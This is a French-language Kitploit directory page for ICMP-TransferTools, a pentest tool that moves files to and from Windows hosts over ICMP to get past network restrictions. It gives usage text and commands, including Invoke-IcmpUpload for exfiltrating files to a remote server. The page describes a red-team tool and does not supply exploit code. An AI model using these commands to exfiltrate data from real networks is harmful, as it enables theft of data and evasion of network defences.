Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ICMP-TransferTools — Transférer des fichiers vers et depuis un hôte Windows via ICMP dans des environnements réseau restreints. | Kitploit
Outils/GitHubGitHub/icyguider/icmp-transfertools
Exfiltration de DonnéesSécurité RéseauTests d'IntrusionRed Teaming
GitHubicyguider/icmp-transfertools

ICMP-TransferTools

Transférer des fichiers vers et depuis un hôte Windows via ICMP dans des environnements réseau restreints.

Voir le dépôt
33466il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ICMP-TransferTools

ICMP-TransferTools est un ensemble de scripts conçus pour déplacer des fichiers vers et depuis des hôtes Windows dans des environnements réseau restreints. Cela est réalisé à l'aide de 4 fichiers, comprenant un serveur Python et un client PowerShell pour chaque sens de transfert (Téléchargement & Envoi).

La seule dépendance nécessaire est Impacket pour l'un des scripts Python. Il peut être installé via pip comme ceci :

root@kitploit:~
pip3 install impacket

Téléchargement via ICMP

Les scripts inclus ICMP-SendFile.py et Invoke-IcmpDownload.ps1 peuvent être utilisés pour télécharger un fichier sur un hôte Windows via ICMP.

Le serveur Python doit être exécuté en premier pour préparer le fichier au téléchargement. Voir ci-dessous l'utilisation du script :

root@kitploit:~
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

Une fois importé, le client PowerShell peut alors être utilisé pour télécharger le fichier préparé comme ceci :

root@kitploit:~
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

Voir ci-dessous une démonstration rapide :

Démonstration du téléchargement (GIF)

Envoi via ICMP

Les scripts inclus ICMP-ReceiveFile.py et Invoke-IcmpUpload.ps1 peuvent être utilisés pour envoyer/exfiltrer un fichier depuis un hôte Windows via ICMP.

Le serveur Python doit être exécuté en premier pour s'assurer qu'il est prêt à accepter les requêtes du client. Voir ci-dessous l'utilisation du script :

root@kitploit:~
usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit

Une fois importé, le client PowerShell peut alors être utilisé pour envoyer le fichier souhaité comme ceci :

root@kitploit:~
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload

Voir ci-dessous une démonstration rapide :

Démonstration de l'envoi (GIF)

Télécharger l’outil